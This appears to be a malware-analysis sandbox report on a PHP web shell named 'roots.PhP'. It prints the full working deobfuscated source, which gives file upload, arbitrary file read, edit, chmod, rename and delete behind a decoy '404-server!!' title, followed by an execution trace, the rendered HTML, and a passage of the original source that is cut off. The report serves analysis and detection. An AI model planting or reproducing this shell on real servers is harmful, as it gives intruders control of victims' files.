PHP Malware Analysis

roots.PhP

md5: bb2d2fe878cb36306135d55de3808b2b

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title


Deobfuscated PHP code

<?php 
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\r\n<title>404-server!!</title>\r\n<style>\r\nbody{\r\n    font-family: \"Racing Sans One\", cursive;\r\n    background-color: #e6e6e6;\r\n    text-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\n    background-color: #636263;\r\n    text-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\n    background-color: silver;\r\n}\r\n#content .first:hover{\r\n    background-color: silver;\r\n    text-shadow:0px 0px 1px #757575;\r\n}\r\ntable{\r\n    border: 1px #000000 dotted;\r\n}\r\nH1{\r\n    font-family: \"Rye\", cursive;\r\n}\r\na{\r\n    color: #000;\r\n    text-decoration: none;\r\n}\r\na:hover{\r\n    color: #fff;\r\n    text-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\n    border: 1px #000000 solid;\r\n    -moz-border-radius: 5px;\r\n    -webkit-border-radius:5px;\r\n    border-radius:5px;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY>\r\n<H1><center>config root man</center></H1>\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>Current Path : ";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"green\">File Upload Done.</font><br />";
    } else {
        echo "<font color=\"red\">File Upload Error.</font><br />";
    }
}
echo '<b><br>' . php_uname() . '<br></b>';
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\nUpload File : <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"green\">Change Permission Done.</font><br />";
            } else {
                echo "<font color=\"red\">Change Permission Error.</font><br />";
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"green\">Change Name Done.</font><br />";
            } else {
                echo "<font color=\"red\">Change Name Error.</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"green\">Edit File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Edit File Error.</font><br />";
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"green\">Delete Dir Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete Dir Error.</font><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"green\">Delete File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete File Error.</font><br />";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n    <tr class=\"first\">\r\n        <td><center>Name</center></td>\r\n        <td><center>Size</center></td>\r\n        <td><center>Permissions</center></td>\r\n        <td><center>Options</center></td>\r\n    </tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr>\r\n        <td><a href=\"?path={$path}/{$dir}\">{$dir}</a></td>\r\n        <td><center>--</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"green\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n        <select name=\"opt\">\r\n\t    <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr>\r\n        <td><a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td>\r\n        <td><center>" . $size . "</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"green\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n        <select name=\"opt\">\r\n\t    <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        <option value=\"edit\">Edit</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"file\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo "</table>\r\n    </div>";
}
echo "<br />Man Man <br />\r\n</BODY>\r\n</HTML>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
?>


Execution traces

data/traces/bb2d2fe878cb36306135d55de3808b2b_trace-1676236900.5824.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:22:06.480237]
1	0	1	0.000184	393512
1	3	0	0.000550	446184	{main}	1		/var/www/html/uploads/roots.PhP	0	0
2	4	0	0.000577	446184	set_time_limit	0		/var/www/html/uploads/roots.PhP	2	1	0
2	4	1	0.000599	446248
2	4	R			FALSE
2	5	0	0.000618	446216	error_reporting	0		/var/www/html/uploads/roots.PhP	3	1	0
2	5	1	0.000635	446256
2	5	R			22527
2	6	0	0.000652	446216	get_magic_quotes_gpc	0		/var/www/html/uploads/roots.PhP	5	0
2	6	1	0.000669	446216
2	6	R			FALSE
2	7	0	0.000687	446216	getcwd	0		/var/www/html/uploads/roots.PhP	61	0
2	7	1	0.000705	446264
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/roots.PhP	61	$path = '/var/www/html/uploads'
2	8	0	0.000753	446264	str_replace	0		/var/www/html/uploads/roots.PhP	63	3	'\\'	'/'	'/var/www/html/uploads'
2	8	1	0.000773	446360
2	8	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/roots.PhP	63	$path = '/var/www/html/uploads'
2	9	0	0.000806	446264	explode	0		/var/www/html/uploads/roots.PhP	64	2	'/'	'/var/www/html/uploads'
2	9	1	0.000823	446840
2	9	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/roots.PhP	64	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/roots.PhP	66	$id = 0
1		A						/var/www/html/uploads/roots.PhP	68	$a = TRUE
1		A						/var/www/html/uploads/roots.PhP	66	$id = 1
1		A						/var/www/html/uploads/roots.PhP	74	$i = 0
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	66	$id = 2
1		A						/var/www/html/uploads/roots.PhP	74	$i = 0
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	66	$id = 3
1		A						/var/www/html/uploads/roots.PhP	74	$i = 0
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	66	$id = 4
1		A						/var/www/html/uploads/roots.PhP	74	$i = 0
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
1		A						/var/www/html/uploads/roots.PhP	74	$i++
2	10	0	0.001138	446768	php_uname	0		/var/www/html/uploads/roots.PhP	88	0
2	10	1	0.001155	446880
2	10	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	11	0	0.001181	446768	scandir	0		/var/www/html/uploads/roots.PhP	166	1	'/var/www/html/uploads'
2	11	1	0.001221	447392
2	11	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'roots.PhP']
1		A						/var/www/html/uploads/roots.PhP	166	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'roots.PhP']
2	12	0	0.001270	447408	is_dir	0		/var/www/html/uploads/roots.PhP	176	1	'/var/www/html/uploads/.'
2	12	1	0.001291	447472
2	12	R			TRUE
2	13	0	0.001309	447440	is_dir	0		/var/www/html/uploads/roots.PhP	176	1	'/var/www/html/uploads/..'
2	13	1	0.001327	447488
2	13	R			TRUE
2	14	0	0.001344	447448	is_dir	0		/var/www/html/uploads/roots.PhP	176	1	'/var/www/html/uploads/.htaccess'
2	14	1	0.001364	447488
2	14	R			FALSE
2	15	0	0.001382	447448	is_dir	0		/var/www/html/uploads/roots.PhP	176	1	'/var/www/html/uploads/data'
2	15	1	0.001400	447488
2	15	R			TRUE
2	16	0	0.001418	447448	is_writable	0		/var/www/html/uploads/roots.PhP	181	1	'/var/www/html/uploads/data'
2	16	1	0.001441	447488
2	16	R			TRUE
2	17	0	0.001459	447448	perms	1		/var/www/html/uploads/roots.PhP	183	1	'/var/www/html/uploads/data'
3	18	0	0.001475	447448	fileperms	0		/var/www/html/uploads/roots.PhP	243	1	'/var/www/html/uploads/data'
3	18	1	0.001492	447488
3	18	R			16895
2		A						/var/www/html/uploads/roots.PhP	243	$perms = 16895
2		A						/var/www/html/uploads/roots.PhP	259	$info = 'd'
2		A						/var/www/html/uploads/roots.PhP	272	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	273	$info .= 'w'
2		A						/var/www/html/uploads/roots.PhP	276	$info .= 'x'
2		A						/var/www/html/uploads/roots.PhP	279	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	280	$info .= 'w'
2		A						/var/www/html/uploads/roots.PhP	283	$info .= 'x'
2		A						/var/www/html/uploads/roots.PhP	286	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	287	$info .= 'w'
2		A						/var/www/html/uploads/roots.PhP	290	$info .= 'x'
2	17	1	0.001657	447488
2	17	R			'drwxrwxrwx'
2	19	0	0.001676	447448	is_writable	0		/var/www/html/uploads/roots.PhP	184	1	'/var/www/html/uploads/data'
2	19	1	0.001696	447488
2	19	R			TRUE
2	20	0	0.001715	447456	is_dir	0		/var/www/html/uploads/roots.PhP	176	1	'/var/www/html/uploads/prepend.php'
2	20	1	0.001735	447504
2	20	R			FALSE
2	21	0	0.001753	447456	is_dir	0		/var/www/html/uploads/roots.PhP	176	1	'/var/www/html/uploads/roots.PhP'
2	21	1	0.001771	447488
2	21	R			FALSE
2	22	0	0.001788	447440	is_file	0		/var/www/html/uploads/roots.PhP	203	1	'/var/www/html/uploads/.'
2	22	1	0.001806	447472
2	22	R			FALSE
2	23	0	0.001823	447440	is_file	0		/var/www/html/uploads/roots.PhP	203	1	'/var/www/html/uploads/..'
2	23	1	0.001841	447488
2	23	R			FALSE
2	24	0	0.001858	447448	is_file	0		/var/www/html/uploads/roots.PhP	203	1	'/var/www/html/uploads/.htaccess'
2	24	1	0.001877	447488
2	24	R			TRUE
2	25	0	0.001893	447448	filesize	0		/var/www/html/uploads/roots.PhP	204	1	'/var/www/html/uploads/.htaccess'
2	25	1	0.001910	447488
2	25	R			64
1		A						/var/www/html/uploads/roots.PhP	204	$size = 0.0625
2	26	0	0.001941	447392	round	0		/var/www/html/uploads/roots.PhP	205	2	0.0625	3
2	26	1	0.001959	447464
2	26	R			0.063
1		A						/var/www/html/uploads/roots.PhP	205	$size = 0.063
1		A						/var/www/html/uploads/roots.PhP	209	$size = '0.063 KB'
2	27	0	0.002006	447488	is_writable	0		/var/www/html/uploads/roots.PhP	216	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.002027	447528
2	27	R			FALSE
2	28	0	0.002044	447488	is_readable	0		/var/www/html/uploads/roots.PhP	217	1	'/var/www/html/uploads/.htaccess'
2	28	1	0.002064	447528
2	28	R			TRUE
2	29	0	0.002081	447488	perms	1		/var/www/html/uploads/roots.PhP	218	1	'/var/www/html/uploads/.htaccess'
3	30	0	0.002098	447488	fileperms	0		/var/www/html/uploads/roots.PhP	243	1	'/var/www/html/uploads/.htaccess'
3	30	1	0.002115	447528
3	30	R			33188
2		A						/var/www/html/uploads/roots.PhP	243	$perms = 33188
2		A						/var/www/html/uploads/roots.PhP	253	$info = '-'
2		A						/var/www/html/uploads/roots.PhP	272	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	273	$info .= 'w'
2		A						/var/www/html/uploads/roots.PhP	276	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	279	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	280	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	283	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	286	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	287	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	290	$info .= '-'
2	29	1	0.002268	447528
2	29	R			'-rw-r--r--'
2	31	0	0.002287	447488	is_writable	0		/var/www/html/uploads/roots.PhP	219	1	'/var/www/html/uploads/.htaccess'
2	31	1	0.002308	447528
2	31	R			FALSE
2	32	0	0.002325	447488	is_readable	0		/var/www/html/uploads/roots.PhP	219	1	'/var/www/html/uploads/.htaccess'
2	32	1	0.002345	447528
2	32	R			TRUE
2	33	0	0.002363	447488	is_file	0		/var/www/html/uploads/roots.PhP	203	1	'/var/www/html/uploads/data'
2	33	1	0.002382	447528
2	33	R			FALSE
2	34	0	0.002399	447496	is_file	0		/var/www/html/uploads/roots.PhP	203	1	'/var/www/html/uploads/prepend.php'
2	34	1	0.002418	447544
2	34	R			TRUE
2	35	0	0.002435	447504	filesize	0		/var/www/html/uploads/roots.PhP	204	1	'/var/www/html/uploads/prepend.php'
2	35	1	0.002452	447544
2	35	R			57
1		A						/var/www/html/uploads/roots.PhP	204	$size = 0.0556640625
2	36	0	0.002483	447400	round	0		/var/www/html/uploads/roots.PhP	205	2	0.0556640625	3
2	36	1	0.002501	447472
2	36	R			0.056
1		A						/var/www/html/uploads/roots.PhP	205	$size = 0.056
1		A						/var/www/html/uploads/roots.PhP	209	$size = '0.056 KB'
2	37	0	0.002554	447504	is_writable	0		/var/www/html/uploads/roots.PhP	216	1	'/var/www/html/uploads/prepend.php'
2	37	1	0.002575	447544
2	37	R			FALSE
2	38	0	0.002592	447504	is_readable	0		/var/www/html/uploads/roots.PhP	217	1	'/var/www/html/uploads/prepend.php'
2	38	1	0.002611	447544
2	38	R			TRUE
2	39	0	0.002628	447504	perms	1		/var/www/html/uploads/roots.PhP	218	1	'/var/www/html/uploads/prepend.php'
3	40	0	0.002645	447504	fileperms	0		/var/www/html/uploads/roots.PhP	243	1	'/var/www/html/uploads/prepend.php'
3	40	1	0.002662	447544
3	40	R			33261
2		A						/var/www/html/uploads/roots.PhP	243	$perms = 33261
2		A						/var/www/html/uploads/roots.PhP	253	$info = '-'
2		A						/var/www/html/uploads/roots.PhP	272	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	273	$info .= 'w'
2		A						/var/www/html/uploads/roots.PhP	276	$info .= 'x'
2		A						/var/www/html/uploads/roots.PhP	279	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	280	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	283	$info .= 'x'
2		A						/var/www/html/uploads/roots.PhP	286	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	287	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	290	$info .= 'x'
2	39	1	0.002817	447544
2	39	R			'-rwxr-xr-x'
2	41	0	0.002836	447504	is_writable	0		/var/www/html/uploads/roots.PhP	219	1	'/var/www/html/uploads/prepend.php'
2	41	1	0.002857	447544
2	41	R			FALSE
2	42	0	0.002876	447504	is_readable	0		/var/www/html/uploads/roots.PhP	219	1	'/var/www/html/uploads/prepend.php'
2	42	1	0.002897	447544
2	42	R			TRUE
2	43	0	0.002922	447608	is_file	0		/var/www/html/uploads/roots.PhP	203	1	'/var/www/html/uploads/roots.PhP'
2	43	1	0.002938	447640
2	43	R			TRUE
2	44	0	0.002953	447600	filesize	0		/var/www/html/uploads/roots.PhP	204	1	'/var/www/html/uploads/roots.PhP'
2	44	1	0.002975	447640
2	44	R			9798
1		A						/var/www/html/uploads/roots.PhP	204	$size = 9.568359375
2	45	0	0.003022	447504	round	0		/var/www/html/uploads/roots.PhP	205	2	9.568359375	3
2	45	1	0.003046	447576
2	45	R			9.568
1		A						/var/www/html/uploads/roots.PhP	205	$size = 9.568
1		A						/var/www/html/uploads/roots.PhP	209	$size = '9.568 KB'
2	46	0	0.003104	447600	is_writable	0		/var/www/html/uploads/roots.PhP	216	1	'/var/www/html/uploads/roots.PhP'
2	46	1	0.003130	447640
2	46	R			FALSE
2	47	0	0.003153	447600	is_readable	0		/var/www/html/uploads/roots.PhP	217	1	'/var/www/html/uploads/roots.PhP'
2	47	1	0.003171	447640
2	47	R			TRUE
2	48	0	0.003188	447600	perms	1		/var/www/html/uploads/roots.PhP	218	1	'/var/www/html/uploads/roots.PhP'
3	49	0	0.003203	447600	fileperms	0		/var/www/html/uploads/roots.PhP	243	1	'/var/www/html/uploads/roots.PhP'
3	49	1	0.003219	447640
3	49	R			33204
2		A						/var/www/html/uploads/roots.PhP	243	$perms = 33204
2		A						/var/www/html/uploads/roots.PhP	253	$info = '-'
2		A						/var/www/html/uploads/roots.PhP	272	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	273	$info .= 'w'
2		A						/var/www/html/uploads/roots.PhP	276	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	279	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	280	$info .= 'w'
2		A						/var/www/html/uploads/roots.PhP	283	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	286	$info .= 'r'
2		A						/var/www/html/uploads/roots.PhP	287	$info .= '-'
2		A						/var/www/html/uploads/roots.PhP	290	$info .= '-'
2	48	1	0.003369	447640
2	48	R			'-rw-rw-r--'
2	50	0	0.003385	447600	is_writable	0		/var/www/html/uploads/roots.PhP	219	1	'/var/www/html/uploads/roots.PhP'
2	50	1	0.003404	447640
2	50	R			FALSE
2	51	0	0.003417	447600	is_readable	0		/var/www/html/uploads/roots.PhP	219	1	'/var/www/html/uploads/roots.PhP'
2	51	1	0.003433	447640
2	51	R			TRUE
1	3	1	0.003448	447544
			0.003484	326192
TRACE END   [2023-02-12 19:22:06.483575]


Generated HTML code

<html><head>
<link href="" rel="stylesheet" type="text/css">
<title>404-server!!</title>
<style>
body{
    font-family: "Racing Sans One", cursive;
    background-color: #e6e6e6;
    text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
    background-color: silver;
    text-shadow:0px 0px 1px #757575;
}
table{
    border: 1px #000000 dotted;
}
H1{
    font-family: "Rye", cursive;
}
a{
    color: #000;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</head>
<body>
<h1><center>config root man</center></h1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>Current Path : <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><b><br>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64<br></b><form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file">
<input type="submit" value="upload">
</form>
</td></tr></tbody></table><br><center></center><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tbody><tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
        <td><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
        <td><center>0 KB</center></td>
        <td><center>-rw-r--r--</center></td>
        <td><center><form method="POST" action="?option&amp;path=/var/www/html">
        <select name="opt">
	    <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="beneri.se_malware_analysis">
        <input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
        <input type="submit" value=">">
        </form></center></td>
        </tr><tr>
        <td><a href="?filesrc=/var/www/html/roots.PhP&amp;path=/var/www/html">roots.PhP</a></td>
        <td><center>9.568 KB</center></td>
        <td><center>-rw-rw-r--</center></td>
        <td><center><form method="POST" action="?option&amp;path=/var/www/html">
        <select name="opt">
	    <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="roots.PhP">
        <input type="hidden" name="path" value="/var/www/html/roots.PhP">
        <input type="submit" value=">">
        </form></center></td>
        </tr></tbody></table>
    </div><br>Man Man <br>


</body></html>

Original PHP code

<?php
set_time_limit(0);
error_reporting(0);

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>404-server!!</title>
<style>
body{
    font-family: "Racing Sans One", cursive;
    background-color: #e6e6e6;
    text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
    background-color: silver;
    text-shadow:0px 0px 1px #757575;
}
table{
    border: 1px #000000 dotted;
}
H1{
    font-family: "Rye", cursive;
}
a{
    color: #000;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center>config root man</center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
if(isset($_GET['path'])){
    $path = $_GET['path'];   
}else{
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
        echo "$paths[$i]";
        if($i != $id) echo "/";
    }
    echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="green">File Upload Done.</font><br />';
    }else{
        echo '<font color="red">File Upload Error.</font><br />';
    }
}
echo '<b><br>'.php_uname().'<br></b>';
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo '</tr></td></table><br />';
    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">Change Permission Done.</font><br />';
            }else{
                echo '<font color="red">Change Permission Error.</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Change Name Done.</font><br />';
            }else{
                echo '<font color="red">Change Name Error.</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
